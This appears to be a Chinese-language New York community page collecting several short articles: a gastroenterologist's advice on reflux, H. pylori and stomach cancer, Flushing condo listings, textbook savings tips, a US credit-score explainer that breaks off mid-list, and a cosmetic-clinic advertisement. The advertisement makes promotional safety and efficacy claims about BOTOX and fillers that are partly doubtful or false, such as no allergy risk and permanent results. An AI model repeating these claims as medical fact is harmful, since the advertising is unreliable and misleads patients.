 有一个病人50多岁,是个做生意的老板,经常需要应酬,吃饭很晚,加上他有抽烟喝酒的习惯。胃食道逆流问题经常出现,我给他开了抗酸药他服用后效果很好。后来每次烧心症状出现他就用抗酸药抑制,让他定期回来看食道炎有无好转他也没有回来看。4~5年之后等他再来的时候已经进食困难了,因为已经形成食道癌了。食道癌早期的时候,病人吃饭需要喝水往下送饭,再后来就只能吃流质食物了,比如豆浆、牛奶、粥等。到最后喝水都困难了,就是那个肿瘤越长越大,最后完全把食道堵住了。当然食道癌早期的时候可以做手术切除肿瘤,但因为食道处于胸腔、腹腔结合的部位,手术的创伤通常比较大、损伤也比较大。后续可能还需要进行化疗。

在此提醒大家,如果出现烧心反酸的现象,要改变生活习惯,及早治疗,经常去跟医生随诊,观察病情发展。

荆彤医生的建议:

1、睡前3个小时就不要再进食了。因为吃饭太晚,在睡觉的时候食物还有很大一部分在胃里,没有被消化。当人睡觉躺下的时候,很容易发生胃食道逆流,出现反酸烧心的症状。

2、食物方面,少吃甜食,少吃辛辣刺激的食物,烟酒戒掉,少喝汽水和含有咖啡因的饮料。少吃油腻的东西。

3、多运动。肥胖的人需要减肥。

2021-04-26 / by / in
纽约地产:法拉盛新楼盘、豪华公寓 带你走览

文|地产小尖兵

纽约房地产市场在疫情之后,有着较明显的下跌趋势,这与旧金山湾区房市有比较大的不同,旧金山湾区在去年四五月份也出现跌幅,不过随即就开始反弹,而且力道不小。反观纽约房市,因为以Condo、Co-op楼盘为主,在疫情之后这类密集性高的房产并不吃香,出现降价、滞销的情况。不过在去年第三季之后,纽约房市也逐渐回暖,而且本次要重点谈论的法拉盛房市,更是在疫情中一支独秀的纽约房市。

疫情期 法拉盛房市表現抗跌

法拉盛(Flushing)已经是名符其实的纽约中国城了,早已超越传统的曼哈顿中国城的规模。法拉盛位在纽约的皇后区内,是7号地铁站的终点,也是这里唯一的地铁站。目前大约有二十万左右的人口数,约70%是亚裔,包括来自大陆、香港、台湾、韩国或印度等地的人士,而且以华裔居多数。

随着法拉盛人口的逐渐增加(当然啦,主要是华人的移入),这里已经成为皇后区的商业中心,因此近年大型的购物中心、住宅楼盘相继在法拉盛开发,成为抢手的地区。所以在这次新冠疫情中,总体来说,既使曼哈顿、布鲁克林的楼盘都在降价、打折扣,但皇后区的价格却没有太多变化,成交量反而上涨了三成多;租金的下滑,皇后区也是较少的。

法拉盛房市的优势

另外,法拉盛也有不少学校,大学生人数超过3.5万人,纽约市立大学皇后学院设在法拉盛,这里还有全美最好的高中之一:Townsend Harris高中。此外,皇后区的公立图书馆也设在法拉盛,所以法拉盛还是挺有文艺气息的。

法拉盛还有交通上的优势,离纽约两大机场:拉瓜地亚、肯尼迪都不远,同样位在皇后区内。而且从法拉盛到曼哈顿、布鲁克林、纽约上州和长岛的距离都是比较均衡的。这个地铁7号线就直通曼哈顿,站点就在主要商业接的缅街上。 7号线还有一个重点——串连纽约几个热门的房市开发区域,像是长岛市、Sunnyside、Elmhurst、哈德逊城市广场等区域。

尽管法拉盛人口成长,但她有一个优势,就是还可以往周边扩张,比较没有受到区域的局限,例如近期最大的开发案“法拉盛特别水岸区”将会是未来的热点之一(后面介绍)。法拉盛也因为房价相对曼哈顿、布鲁克林等地较低廉,但却有着以上多项优势,因此近年房价相当抗跌,尤其在2018年后,纽约房市开始下行,但法拉盛去反其道而行。

法拉盛走入高端公寓纪元

虽然疫情期间,法拉盛的公寓也有受到影响,但独立房价仍比较稳定。但随着去年底,疫苗相继问世,法拉盛公寓楼盘回温迅速。去年第四季,法拉盛公寓房价比第三季上涨了13%(据Modern Spaces数据)。 2021年初,法拉盛成交单价最高的是35大道的The Farrington大楼——每平方呎价格1,413美元,而在39大道法拉盛广场(Flushing Commons)一套两卧室房公寓,还卖出了230万美元(后面介绍)。

看准法拉盛未来的前景,开发商几年前就抢入市场,所以近几年高端大楼在法拉盛将相继问世,住商混合也是未来大楼的趋势,楼下有大型商场和各种零售店,楼上则是高级住宅,以做到地尽其利。

以下我们就来介绍一下,法拉盛的豪华公寓、新大楼楼盘:

天景豪苑Sky View Parc

法拉盛首個高檔住商混合開發案:天景豪苑。(google街景)

天景豪苑地理位置。 (google 3D街景)

这个地点位在40-22 College Point Blvd, Flushing,这个是当地高端大楼最早期的开发案,等于带动法拉盛高端公寓的销售。天景豪苑由铁狮门建设、Onex投资管理、Ralated物业管理等3巨头共同开发管理。但是由于地点问题(在当时治理不善的法拉盛河边上,周边也有政府楼),所以2011年第一期开售时(平均每平方呎约750美元),大家反应比较平淡,还有点观望的态度;到了2015年的第二期第一栋楼上市时,那时美国房市已经摆脱08年金融风暴的暴风圈,因此当时的销售也就不可同日而语了,销售中心挤满了购房人潮,每平方呎价格更比2011年时,上涨了两三百美元左右。

天景豪苑结合高档公寓、空中花园、众多商场,成功在法拉盛首次打造高级住商混合开发案,可谓是将法拉盛带入曼哈顿高端公寓水平的指标开发,打破了人们对法拉盛脏乱街区的刻板印象,因此当时有不少华人白领阶层也非常买单。它拥有78万呎的零售空间,还进驻多家知名品牌与华人超市,顶楼还有空中花园,也有多项公共豪华设施。价格大约从50万到190万都有,有Studio到3卧室的跃层复式公寓。

One Fulton Square一号富顿广场

法拉盛住商高端公寓:One Fulton Square,圖為戶外用餐區。(業主圖片)

One Fulton Square。(google街景)

这个案子由富顿集团主导开发,和天景豪苑相隔一个街口而已,位在39-16 Prince St, Queens,同样在罗斯福大道上。一号富顿广场也是住商混合开发,和天景豪苑不同的是,这个街区更为热闹,大楼的亚洲餐馆比较多,从中式、日式到韩式都有,但公寓只有43个单位,主体大楼是凯悦嘉轩酒店。

Tangram

法拉盛住商豪華公寓:Tangram模擬圖。(Tangram網站)

Tangram也是由富顿集团主导开发,位在37-09 College Point Blvd, Flushing,从天景豪苑的College Point Blvd往北过一个街口就到了。这个案子有两栋主楼,分为南栋和西栋,除了豪华公寓单位,还包含办公楼、酒店、商场、4D电影院,而且目前公寓销售正在进行中,不同楼层逐步开放上上市,以两到三房的房型为主,也有少部分的四房,起价预估为68万美元。当然也少不了各种高档设施,从健身房、泳池、空中花园、桑拿室等等。 Tangram第一期共有192套单元,2018年开始上市,每平方呎已经达到1200美元左右。

Flushing Commons法拉盛广场

Flushing Commons模擬圖。(Flushing Commons網站)

Flushing Commons 谷歌街景3D圖,現只有一期工程建築。(google街景)

法拉盛广场原是法拉盛市中心,第一停车场的5.5英亩土地,一期工程已在2017年完工,第二期工程预计于2021年完工。一期工程,包括有148个住宅单位和零售空间、办公楼;二期工程会有450个住宅单位,也有零售空间,户外会有1.5英亩的休闲广场。一期住宅单位价格从65万到250万不等,有一至四房的房型,现在还得买。购买法拉盛广场的优势:15年住宅享受减税计画优惠、办公室享受25年减税计画优惠。

Farrington Tower法林顿大楼

Farrington Tower模擬圖。(世纪地产集团網站)

另一个豪华公寓大楼是法林顿大楼,它也是当前最新的高端公寓,位在Farrington St.和35大道交叉口,由世纪地产集团开发。法林顿大楼也是由住宅、酒店、零售组成的开发,1楼规划为法林顿商场、2楼至7楼是酒店套房,第8楼以上至15楼是100套的公寓。公寓平均每平方呎约1150美元。法林顿大楼有一个优势:15年地税减免,因此对公寓买家来说是很大的诱惑,大大降低往后的拥有成本。大楼预计在2021年夏天完工。

Northern Tower北塔大楼

Northern Tower模擬圖。(世纪地产集团網站)

北塔大楼也是由世纪地产集团开发,位在35-32 Leavitt St. AKA 137-61 Northern Blvd. Flushing,混合用途的13层高楼,拥有各种高端设施,预计2022年完工。一楼将有4,000平方英尺的高端零售空间,酒店拥有249间酒店客房,将占据第二至第九层,也将是皇后区唯一的5星级酒店。北塔的住房不多,仅有48个高端公寓,位在第十层到十三层,且享受游泳池、健身房、会议室、商务中心等服务设施。

開發中:法拉盛特别水岸区

法拉盛特别水岸区位置,紧邻右边的天景豪苑、大学点大道的对街有Tangram。 (开发案网站)

法拉盛特别水岸区手繪草圖。(開發案網站)

最后介绍一个开发中的开发区:法拉盛特别水岸区(Special Flushing Waterfront District)。这个开发案与天景豪苑仅隔罗斯福大道,就在法拉盛河(Flushing Creek)岸边。该开发区域是经过社区与多方讨论后,终于在2020年12月通过的,总占地29英亩,将由三个华人开发商共同开发,预计共有1725套公寓,其中30%是平价版,还有879间的酒店套房,约29万平方呎的商场空间、40万平方呎的办公空间,而且将创造近三千个工作岗位,另外还有河岸公园、公共休憩区。这个水岸开发案预期在2025年完成。

以上基本都是高端豪华公寓单位,代表法拉盛的住房顶端,每呎都要一千美元以上,不过其余还有不少较为平价的中小型新公寓,大约每呎要八九百元,如果是二手公寓物业,则约六百至八百美元左右。

另外,当然也有合作公寓(Co-op),不过一般来说,在纽约还是比较推荐购买独立产权的公寓类型,也就是Condo,尤其对新移民或外国买家来说,独立产权的公寓虽然可能较合作公寓昂贵,但合作公寓对买家的财务审核也比较严格,而Condo购买相对容易,往后转卖也方便,有利于市场流通,升值也较好。

2021-04-26 / by / in , ,
什么是胃食道逆流?烧心、口苦、口臭原来是这么回事!纽约肠胃科专家荆彤医生为您解答

不知道大家听说过“胃食道逆流”这个词没有?烧心、嗓子疼、口苦、口臭…..很多问题可能都是胃食道逆流引起的。下面就请纽约肠胃科专家荆彤医生为大家做一个讲解。

所谓胃食道逆流就是胃里的东西返流到食道,造成对食道的刺激。大家知道,胃里面是强酸的环境,而食道是一个碱性的环境,一旦胃里面的东西进入食道,就会对食道粘膜产生刺激,患者有烧心的感觉,严重的感觉嗓子都痛,有人会声音沙哑。

胃食道逆流的症状有哪些?

我们经常看到有病人嗓子不舒服,声音沙哑,第一反应是去看耳鼻喉科,80%以上的情况都是医生会建议他去看肠胃科医生,是胃食道逆流刺激引起的喉咙痛。还有的病人感觉早晨起床时口水很多,口苦,这实际上都是胃食道逆流的一些表现。还有人口臭,牙医也看了,牙齿没有问题,没有蛀牙,也没有牙周病。这种口臭很可能是胃食道逆流引起的。

 

胃食道逆流是由哪些原因引起的?

在胃与食道接口的地方有一个叫贲门的地方,贲门这有一块环状的肌肉叫贲门括约肌。不吃食物的时候,贲门括约肌处于收缩的状态。在进食有吞咽动作的时候,贲门括约肌自动舒张,使食物能够进入胃里。食物通过后,贲门括约肌自动收缩,就像进入胃的门合上了,保证了胃里的东西不会返到食道里,使食道里永远保持碱性的环境。

胃食道逆流的患者的贲门括约肌是处于松弛状态。有人是天生就松弛,而有人是后天由于各种原因造成的贲门括约肌松弛。还有一种叫贲门裂孔疝的先天疾病,就是患者的膈食管裂孔过大,使胃能通过这个裂孔进入胸腔,也能引起胃食道逆流。

有一些食物容易造成贲门括约肌舒张,比如巧克力、糖、辛辣的食物、烟、酒、高脂肪的东西、咖啡里面的咖啡因等。还有一些药物也能引起括约肌舒张,比如一些抗高血压的药物等。所以有胃食道逆流症状的患者在饮食上要注意一下,尽量避免或少吃以上提到的那些食物。

2021-04-25 / by / in
在美国上学 教科书太贵 教你省钱的技巧

文|雨荷

美国大学的费用高尽人皆知,可是到底因为什么高呢?其中占大比例且容易令人忽视的开销就是教科书费。美国大学理事会估计,每个学生每学期在教科书上的平均费用超过1200美元。上一学年从公立大学全日制本科生收取的平均净学杂费为4,140美元。可见,光教材费就占到了1/4。

Cengage教育机构的首席执行官迈克尔·汉森(Michael Hansen)告诉CNBC make it学习平台:学生在申请学校时会考虑学费,但经常会忘记考虑教材费,当得知这笔不小的数字后,压力更大!根据Cengage对1,651名在校大学生进行调查,有85%的人认为课本和课程材料的支出让自己肩负压力且,而43%的人表示,为了付清这些费用,快要吃不起饭了。

如何节省这笔教材费就显得尤为重要了。您可以通过以下12种方法来获得廉价的教科书

教科书 示意图。

1.购买二手教科书

可以在亚马逊上购买手教科书,价格非常友好。也可以查找一些在线二手书网站,选择需要的书籍;大学附近的商店通常会在每学期末收到不少教科书。您也可以尝试通过二手书店或慈善商店进行筛选您需要的教科书。

2.从以前的学生那里购买便宜的教科书

在学校询问高一年级的学生。那些已经完成课程的人,肯定会有您需要的课本,并且也会很乐意将其出售给有需要的学生。当在同个人手中购买多本书时,还可以讨价还价,得到更多的优惠。

3.在线阅读免费的大学教科书

在Google学术搜索中搜索书籍标题,几乎总是有几章可供预览。说不定刚好可以幸运的获得你需要的页面,

要获得更多的免费赠阅,您可以在Open Library, Project Gutenberg 或Google Books上的书籍上注册账号。这些网站都提供在平板电脑及笔记本上在线预览。

如果您注册了Amazon Prime(学生可以获得六个月的免费注册时间),您可以无限制地访问Prime Reading,并选择成千上万本书籍查阅。

同样也不要忘记,每所大学都有可以访问大量学术期刊的在线图书馆,这些都是值得获取知识的途径。

4.订阅

学生可以注册订阅服务。

Cengage提供年度无限订阅服务,价格为$ 179.99。学生可以访问成千上万的在线教科书和课程资料。如果您愿意支付运费,他们还可以免费租用任何书籍。

另一个可以提供订阅的教科书服务的是培生(Pearson),收费为每学期90美元,该课程侧重于交互式课程材料。

学生应线检查自己的教科书是否包含在此类订阅服务中,这可能会为他们每学期节省数百美元。

订阅的教科书 示意图。

5.尝试教科书交换网站

图书换站点拥有成千上万本图书的图书馆(并且藏书在不断变化),包含大量学术书籍。

您只需要建立个人资料,发布一些您愿意交易的书名,并从阅读清单中寻找这些文本。

一些受欢迎的网站包括BookMooch和BookCrossing

6.在教科书上寻找学生折扣

大多数书店都会为学生提供折扣,即使您没有看折扣广告,也可以去询问,万一有了呢,不就又省下一笔不小的开支。

正如上文所提到,您可以使用Waterstones Plus学生卡在Waterstones上享受5%的折扣,而在UNiDAYS上花费25英镑或以上可享受10%的折扣。

独立的书店网络Hive也有学生折扣计划,适用于16-25岁的学生。您将获得优惠券代码从而享受10%的书籍折扣。

7.在线购买教科书

在网上有些很多严重低廉的价格的书籍,Amazon和eBay等网站的有些教科书有些甚至将价格跌到荒谬的一分钱。不过不要忘记考虑邮费。Amazon一些二手物是不提供免邮服务的。

学生可以获得六个月的免费Amazon Prime –在这里注册。

8.下载电子书

如果您有电子阅读器,如kindle,可以使用eBook形式获得需要的书籍刊物,不光价格相对便宜,还更加环保。

即使您没有电子阅读器,也可以在笔记本电脑,iPad或智能手机上阅读电子书。

电子书的一个额外好处是,您不必在书包里堆满沉重的书,当您在完成论文时,搜索关键字的功能将节省您很多宝贵时间。

9.从大学图书馆借书

大学图书馆是免费的学习资源,里面充斥着与课程内容相关的书籍。所以为什么不充分利用起来呢。

同样值得一看的还有当地的图书馆。或许也有您需要的内容。

大学图书馆 示意图。

10.与朋友分享教科书

可以与同学共享教科书降低成本。虽然教科书的影印本是非法的,但分割教科书的保管权并没有错。一起学习知识,一起减少开支。

11.将大学书籍退还给商店

如果您已经买了一本书并且保存完好,您可以随时将其退回。且不必为此感到内疚,如果书籍状态良好,将会交接到下一位学生手中。如此循环使用,传递知识。

Blackwell’s 有一个计划来回购您的uni教科书,您可以获得40%的书店购买券或33%的回收金额。

但是,他们对回收书籍的检查非常严格。书籍必须处于原始状态,并且必须是最新版本。

12.出售旧教科书

学期结束后,可以将保存尚好的教材折价转售给低年级学生。传递知识的同时,传递美德。

 

2021-04-24 / by / in , , , , , , ,
美国BOTOX、乔雅登玻尿酸、激光祛斑 常青医美帮你逆龄 找回青春美丽

文|医美小伙伴

除皱、瘦脸、祛斑,想要美丽动人,你找对地方了!现代人生活步调紧凑、压力爆棚,人一忙皮肤就跟着出状况!想要随时光采动人,迅速见效的医美成了现代女性拯救肤况的特效药。高价的眼霜擦了一罐又一罐、眼角的鱼尾纹依旧清晰可见,你…累了吗?别担心,让医美来拯救你!随着医美科技的进步,除了免动刀和快速见效外,更具备术后恢复期短的优点。以下医美小夥伴为你介紹纽约医美專家:常青医美带来时下最热门的医美疗程项目:美国BOTOX、美国乔雅登玻尿酸、激光祛斑,替你的美丽随时把关!

美国BOTOX:瘦脸除皱,快速见效、安全不留伤口。(常青医美诊所)

纽约医美專家:美国BOTOX瘦脸除皱

纽约的医美專家——常青医美診所介紹:在众多的医美疗程中,BOTOX(保妥适)肉毒素总是榜上有名,原因正是因为其快速见效、安全不留伤口的特点,轻松就能达到有效除皱、小脸的效果,且效果通常可维持4~6个月。

美国BOTOX适用范围

鱼尾纹、口周纹、川字纹、颈纹、抬头纹、法令纹、瘦脸、瘦小腿、瘦肩、祛除腋臭等。

美国BOTOX三大保障

  1. 产品纯度更高、效果更好

BOTOX肉毒素是全球纯度最高、最不容易引起面部僵硬的A型肉毒杆菌,而且产品经过美国PDA及GMP严格认证,是唯一在临床应用方面有近20年历史,超过一千万次成功案例的美容填充产品。

  1. 独特配方,产品稳定性好

经对照实验,BOTOX稳定性是世界上同类产品中最好的,常温下放置一周至一个月,活性基本不下降。

  1. 产品安全性好,不会产生过敏性反应

BOTOX肉毒杆菌选用深海生物提取的小分子多糖为保护剂,不含白蛋白和大分子动物蛋白明胶,既没有血液制品带有病毒的危险,也没有大分子动物蛋白容易产生过敏反应的缺点。

美国BOTOX:纯度最高、稳定性好、安全性佳,效果可维持4~6个月。(常青医美诊所)

美国BOTOX维持时间

BOTOX需要做持续性的注射美容,效果通常可维持4~6个月,因此最好一年注射两到三次,帮助永久性定型。另外,主诊医生会根据求美者的真实情况,确定最佳注射剂量和注射部位,保证效果的同时确保安全。

美国乔雅登玻尿酸:量身打造精致五官、澎润肌肤,无需动刀、安全性高。(常青医美诊所)

纽约医美專家:美国乔雅登玻尿酸 量身打造精致五官、澎润肌肤

全方位替消费者打造完美脸型,玻尿酸的脸部雕塑范围广而细致:从填补泪沟、去除法令纹到隆鼻、丰唇、丰下巴等,都能立即见效,且无需动刀、安全性高。

美国乔雅登玻尿酸适用范围

除皱、塑形、抚平面部凹陷、长效保湿。

美国乔雅登玻尿酸四大特点

  1. 乔雅登(JUVÉDERM)玻尿酸是首个被美国FDA批准、疗效可维持长达18个月的玻尿酸。
  2. 世界独有的HYLACROSS专利技术,产生单相不含颗粒的均质透明质酸凝胶。
  3. 乔雅登是稳定而粘结的三维基质,具有很强的凝聚力,在外力作用下不容易变形以及移位。
  4. 乔雅登是当下同类产品中唯一含有麻剂的美容产品,能够为顾客减轻治疗时的痛感。

美国乔雅登玻尿酸:从填补泪沟、去除法令纹到隆鼻、丰唇、丰下巴等,都能立即见效。(常青医美诊所)

乔雅登玻尿酸主要功效

  1. 除皱:有效针对额、眉间、鱼尾、下睑、鼻唇沟、口角、颈等皱纹,尤其对其它疗法不易解决的鼻唇沟纹有很好疗效,注射完即刻看到惊喜的效果。
  2. 塑形:可无创解决隆鼻、丰唇、丰下巴、丰耳垂等问题,玻尿酸塑形是一种完美面部轮廓的新型方法,其无需开刀,见效快,安全性高。
  3. 抚平面部凹陷:丰颞部、丰面颊、丰颧部、丰太阳穴,平复凹陷性疤痕,利用玻尿酸填充脸颊、太阳穴、眉骨、眼窝凹陷,平复凹陷性疤痕等,可达到立即改变容貌的效果。
  4. 长效保湿,轻松锁住肌肤水份:玻尿酸的保湿效果是胶原蛋白的16倍,它不但能锁住肌肤内的水分,还能将外在环境的水分子抓住,维持皮肤水嫩紧致状态。

纽约医美專家:激光祛斑(Laser freckle)除斑

适用范围

去除雀斑、咖啡斑、日晒斑、老年斑、太田痣、伊藤痣、纹身等。

想要快速解决恼人的斑点,不妨试试激光祛斑!激光可以作用于不同的皮肤组织,只要采用特定的光源就可以保证只对色斑产生作用,而不会影响到正常的皮肤组织。同时激光的瞬间能量强、可有效震碎色素粒子,使其粉碎成非常小的颗粒,加速人体的代谢排出,进而达到优异的除斑效果。

激光祛斑(Laser freckle):能有效除斑,只对色斑产生作用,不会影响到正常的皮肤组织。(常青医美诊所)

激光祛斑注意事项

  1. 一般情况下,年龄越小,皮肤越薄,病灶相对越浅,修复吸收能力越强,治疗次数越少,治疗效果越佳。
  2. 激光治疗色斑需多次进行治疗。黄褐斑一般需5次左右,咖啡斑需1~3次,雀斑、老年斑大多1次即可。每次治疗间隔1~2个月。
  3. 痂皮脱落前不宜剧烈活动和化妆,勿强行撕掉痂皮。
  4. 部分患者可能出现色素沉着,多在数月内自行消失。
  5. 治疗时,医生和患者都要防护好眼睛。
  6. 激光治疗色素病变,不会对机体造成不可逆损伤。
  7. 尽可能选在春、秋、冬季进行治疗。
  8. 尽可能到正规的专业医院或诊所,选择具有资质的专业医生进行治疗,以保证安全性和有效性。

除上述疗程外,常青医美诊所的特色项目,还有瑞士profhilo逆龄提升针、嗨体祛颈纹、6D小脸针、定制美丽 6D童颜线雕、面部水光针、下颌缘提升、祛除双下巴、激光无痛永久脱毛、点阵激光祛痘坑痘印等。

欢迎到常青医美诊所,帮你量身打造面部的黄金比例、完美肤质,重启美丽能量。

常青医美诊所,帮你量身打造面部的黄金比例、完美肤质,重启美丽能量。(常青医美诊所)

纽约医美專家:常青医美诊所6大优势

  1. 品质塑造,精雕细琢,私人订制。
  2. 国际化:中美加有多家连锁的医疗美容机构。
  3. 团队成员:团队是国内外顶级的整形团队。
  4. 技术实力:在国际上有很强的技术实力。
  5. 100%反馈:提供微信、简讯、电话、微博等联系方式。
  6. 资质认证:医生获得美国、中国、加拿大的认证。

常青医美诊所医疗环境

常青医美诊所给你舒适、自在、安全的环境。(常青医美诊所)

常青医美诊所给你舒适、自在、安全的环境。(常青医美诊所)

紐約法拉盛 常青医美诊所

客服电话:+1(718)808-5758

诊所地址:131-07 40th Rd., Suite E.07B, Flushing, NY, 11354

Skyview Wellness Medical Center(天景医疗中心)

网址:https://us-evergreen.com/

客服微信:USA0041

常青医美诊所微信:USA0041。(常青医美诊所)

 

2021-04-24 / by / in , , ,
如何清除幽门螺旋杆菌/胃癌预防/法拉盛肠胃科专家荆彤医生为您解答

如何清除幽门螺旋杆菌

中国人中至少有20%-30%的人感染了幽门螺旋杆菌,而这些细菌在胃内容易引起胃溃疡,甚至诱发胃癌。如何有效清除幽门螺旋杆菌?请法拉盛肠胃科专家荆彤医生为大家做详细说明。

胃里面是一个强酸(PH值可以达到1,也就是纯盐酸的酸度)的环境,大部分生物都经受不了这样的环境,唯独幽门螺旋杆菌能在胃里面存活,可见其顽强的生命力。幽门螺旋杆菌之所以能在如此强酸的环境里存活,是因为它自身能分泌一种碱性物质,把自己包围起来。要想消除这些细菌,需要三种以上药物的配合使用。如果不能按照医生的嘱咐按时服药,漏吃忘吃,吃吃停停,那么杀死这些细菌的机会就会变得很小。

为什么幽门螺旋杆菌难以清除?

人类近年来在疾病治疗方面大量使用抗生素,加上世界上人口的增加,人类吃的鱼类、肉类食物很多是靠养殖来提供。鱼类、家禽、牲畜在养殖过程中,也都大量摄入抗生素。人类吃了这些含有大量抗生素的食物后,容易产生耐药性。

治疗幽门螺旋杆菌,要使用那些不太常见的抗生素。这些不常见的抗生素,一方面不太容易找到,另一方面,因为使用得少,从盈利方面考虑,药厂也很少生产。即使生产了,价格也通常很高。因为这些药物价格高,保险公司不包,通常还要去特别申请批准才行。别看是杀死这些小小的细菌,还是要费一番周折才能实现。

在此荆彤医生奉劝大家,在清除幽门螺旋杆菌的过程中,一定要遵医嘱按时服药,争取一次就把细菌消灭掉。

 

2021-04-24 / by / in ,
中国人为什么容易得胃癌/纽约肠胃科专家荆彤医生为您解答

中国和东南亚地区是胃癌的高发地。人们不禁要问:胃癌与哪些因素有关?如何及时发现?如何预防胃癌?纽约肠胃科专家、荆彤肠胃中心的创办人荆彤医生在这里为大家解答。

荆彤医生认为,胃癌的出现可能有遗传的因素,还有一个很重要的原因,就是这些地区感染幽门螺旋杆菌的人数非常多。有统计说,中国人有一半感染了幽门螺旋杆菌。实际人数可能没有这么多,但保守估计至少有20%~30%的人感染了此病菌。

现在科学已经证实幽门螺旋杆菌会诱发胃癌。2005年的诺贝尔医学奖就颁发给三个医生(两个美国医生和一个澳大利亚医生),他们发现了幽门螺旋杆菌和胃癌之间的关系。这三个医生在做研究的时候很有牺牲精神。他们把细菌培养出来以后喝下去,相当于把自己做成一个模型。在随后的胃镜检查中发现,他们先后都出现胃溃疡症状。如果胃溃疡不予治疗,时间久了就会诱发胃癌。我们在看诊过程中也经常发现大陆或东南亚地区过来的移民,这个幽门螺旋杆菌都是比较高发的。一旦发现,就会给患者开药从而清初掉这些细菌。

为什么幽门螺旋杆菌这么可怕?

幽门螺旋杆菌具有传染性,尤其在自己家里,家人之间会传来传去。家族成员中如果发现有人感染了此病菌,建议其他亲属都去做一个检查。因为这个细菌是通过食物来传播的。这不是说食物本身有这个细菌,而是带有这种细菌的人和你一起吃饭,把你的食物给污染了。

80%的感染了这种细菌的人没有症状,所以传播也是不易察觉。有些已经查出来感染了此病菌的人不明白为什么需要治疗,因为他没有任何感觉,没有觉得身体不适。幽门螺旋杆菌生命力很强,不容易杀死,所以要严格按时服药才有治疗效果。有的病人吃了两三天药觉得没什么改变自己就把药停了。中国人常说:“是药三分毒”,所以一般不喜欢吃药,尤其是身体没有病的感觉就更不愿意吃药了。但是治疗幽门螺旋杆菌如果不按时服药,或擅自停药,对带菌者本人来说,容易诱发胃癌,还容易传染给身边的家人。不按时服药还有一个坏处,就是这个细菌经过抗生素的考验后,产生耐药性,以后更难治疗。所以建议病人要遵医嘱按时服药。

中国人饮食习惯可能导致胃癌高发?

中国人胃癌高发还有一个原因是中国人的饮食习惯。中国人喜欢吃腌渍食品、酱菜、泡菜。这些食品是通过微生物作用,放的时间很久,处理不好容易有细菌污染,产生很多亚硝酸盐的代谢产物,这些东西已经被证实会诱发肿瘤。食物先被吃进胃里,容易诱发胃癌。所以建议少吃以上提到的几种食品,尽量吃新鲜的食物为好。

为什么中国人40岁以后就应该开始做胃镜检查?

美国白人的胃癌的比例很小,所以对这个胃镜检查也就没有给予重视,也没有规定说40岁就要求做胃镜检查。在荆彤医生从美国医学院毕业后在美国近20年的行医过程中,所发现的胃癌病例大部分都是从中国和东南亚过来的。美国本土的人,尤其是白人,得胃癌的极少。美国本土的人肠癌比较高发,所以有规定50岁以后就要做肠镜检查。因为美国人得胃癌的很少,所以美国医生也不会想到建议你去做胃镜检查来进行胃癌的筛查。除非你自己胃部已经感觉到不舒服了,你跟医生讲了,他才可能建议你做胃镜检查。

中国人由于特定的饮食习惯和种族的特点,胃癌比较高发,因此建议在40岁以后,即使没感觉到身体不适,也要开始做第一次胃镜检查。如果你已经感觉到胃不舒服了,那么就更要提早做胃镜检查。

胃镜检查主要检查哪些项目?

主要是检查胃内有无幽门螺旋杆菌,有没有出现胃溃疡,有无肠上皮化生。如果检查后发现有以上问题,就要及时治疗处理。和自己的肠胃科医生积极配合,随时观察病情的变化,采取相应措施阻止病情进一步发展。

 

2021-04-23 / by / in , ,
美国信用评分 Credit Score 最全解析 信用评分怎么计算?怎样快速提高信用分数?
文|无疆行者

在美国生活,拥有良好的信誉是非常重要的。如果你能够充分的重视信用历史记录(credit history),保持较高的信用分数(credit score),会给你带来很多意想之外的实惠和便利。你的个人目标和财务目标更加容易实现。

为什么良好的信用评分很重要

拥有较高的信用评分,更容易获得重要贷款(例如房屋抵押贷款或汽车贷款),有资格享有最低的利率。Fair/Average 的信用分数与 Very Good / Excellent,拿到的房贷利率可能会相差0.5 %,如果是在房价较高的地区,比如华府、NYC、湾区,100万的房子,30年fixed rate贷款80万,30年下来的总还款额大约会相差8万5千美元。

(usa.gov/政府官方网站)

信用评分也可能会影响非贷款事项,例如房东是否会同意向您出租公寓。一些雇主在做出雇用或晋升决定之前可能会先查看您的信用报告。而且,在大多数州,保险公司可能会使用基于信用的保险评分来确定汽车,房屋和人寿保险的保费。

信用评分的组成

想要提高信用评分,第一步就要先了解信用评分的组成。以FICO信用分数为例,主要由五个方面的内容组成:

还贷历史记录(payment history)
贷款总额(amounts owed)
信用历史长度(length of credit history)
信贷类型(credit mix)
新开信贷账户(new credit)

(cathaybank)

还贷历史记录、有否在缴费限期前付清帐单(即付款纪录)对信用评分影响最大,占35%。还贷历史记录包含所有信用卡账户、车贷房贷或学生贷款等分期付款账户、公司信用账户、金融公司账户以及一些公共记录等等的还款情况,是否准时还贷、有没有迟交或者欠款不还的情况。

总信用额度利用情况(信用卡或个人信用额度等循环帐户)占 30%。通常借贷总额占信用额度比例低,信用分数就会越高。理想的情况是,信用额度利用率低于总信用额度的 30%。比如您总的信用额度是1,000元,如果想改善信用评分,那实际使用的额度不应超过300元。

组成信用评分的其它三个要素为信用历史记录时间(15%)、账户多样性(10%)及新开信贷账户 (10%)。

放款者更偏好以时间较长的信用账户为参考,因为这类账户能证明良好的信用记录。同时,他们也乐于见到各式各样的信用类型,因为这代表消费者能同时灵活管理多种账户。

至于新开信贷账户,只要有人查询您的信用报告,都会留下记录。

用户每次申请信用卡或者其他信贷账户的时候,银行或者信贷机构都会对用户的信用报告/信用分数做一次硬性查询(俗称hard pull)。Hard pull 一般需要本人授权,记录会在信用报告上保持两年,但FICO分数只会考虑近一年以内的hard pull 次数。如果在短期内开通好几个新账户,短时间内有多次hard pull 记录的话,信用分数就会被拉低。

用户查询自己的信用报告/信用分数,或者雇主做背景调查用的查询,又或者信贷机构在非用户主动申请的情况下(例如pre-approved/预先批准的信用卡或贷款等)所做的查询,则属于软性查询(俗称soft pull),soft pull 并不会影响信用分数。

查询自己的信用报告或者分数并不会拉低信用分数。

信用分数和等级

(consumerfinance.gov/官方网站)

美国的信用分数是各个机构根据Experian、Equifax 和 TransUnion 三家出具的信用报告明细,通过一定公式计算出来的、比较通俗易懂的、评定个人信用好坏的标准。现时美国最为普遍通用的是由Fair Isaac Corporation公司(FICO)制定的FICO Score 信用评分模型。

约有90%的美国大银行及信贷机构都会使用FICO分数作为个人信用分数的评估标准。常见的FICO分数在300-850之间,分数越高代表用户信用越好,在信贷机构眼中批出贷款的风险就越低。申请信用卡或者贷款都更容易获得通过,并且可以拿到更低的利率与更多优惠。

(usa.gov/政府官方网站)

以 FICO 信用分数和等级为例说明:

信用分数大致可分为「很差]、「还行]、「很好]、「优秀 J 和「优异]五个等级:

